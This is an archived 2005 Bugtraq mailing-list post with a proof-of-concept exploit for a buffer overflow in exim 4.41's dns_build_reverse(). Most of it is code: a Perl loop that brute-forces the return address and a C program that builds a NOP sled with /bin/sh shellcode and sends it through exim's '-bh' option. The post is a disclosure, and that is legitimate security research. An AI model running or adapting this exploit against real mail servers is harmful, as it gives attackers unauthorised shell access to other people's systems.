bugtraq - exim dns_buld_reverse() proof-of-concept

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <41E95EB5.3050801@yahoo.es>
Date: Sat, 15 Jan 2005 19:19:33 +0100
From: Rafael San Miguel Carrasco <smcsoc@...oo.es>
To: bugtraq@...urityfocus.com
Subject: exim dns_buld_reverse() proof-of-concept



This proof-of-concept demonstrates the existence of the vulnerability 
reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
It has been tested against exim-4.41 under Debian GNU/Linux.
Note that setuid () is not included in the shellcode to avoid 
script-kidding.
My RET is 0xbffffae4, but fb.pl can brute-force it for you.

---------
fb.pl:
---------

#!/usr/bin/perl

$cnt = 0xbffffa10;

while (1) {
    $hex = sprintf ("0x%x", $cnt);
    $res = system ("./exploit $hex");
    printf "$hex : $res\n";
    $cnt += 4;
}

---------
exploit.c:
---------

#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

    static char shellcode[]=
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
    "\x2f\x73\x68\x58";

    char buffer [TAMBUF + 1];
    char cadena [TAMBUF + 5];
    int cont;
    unsigned long ret = strtoul (argv[1], NULL, 16);

    for (cont = 0; cont < TAMBUF / 4; cont++)
            *( (long *) buffer + cont) = ret;

    for (cont = 0; cont < strlen (shellcode); cont++)
            buffer [cont + INIC_SH] = shellcode [cont];

    for (cont = 0; cont < INIC_SH; cont++)
            buffer [cont] = NOP;

    buffer [TAMBUF] = 0;
    printf ("RET = 0x%x\n", ret);
    strcpy (cadena, "::%A");
    strcat (cadena, buffer);
        execl ("./exim", "./exim", "-bh", cadena, (char *) 0);
}

 

-------------------------------
Rafael San Miguel Carrasco
Consultor Técnico - Jefe de Proyecto
rafael.sanmiguel@....es
+ 34 660 856 647
+ 34 902 464 546
Davinci Consulting - www.dvc.es
Oficina Madrid - Parque empresarial Alvento
Via de los Poblados 1 Edificio A 6ª planta
28033 Madrid
-------------------------------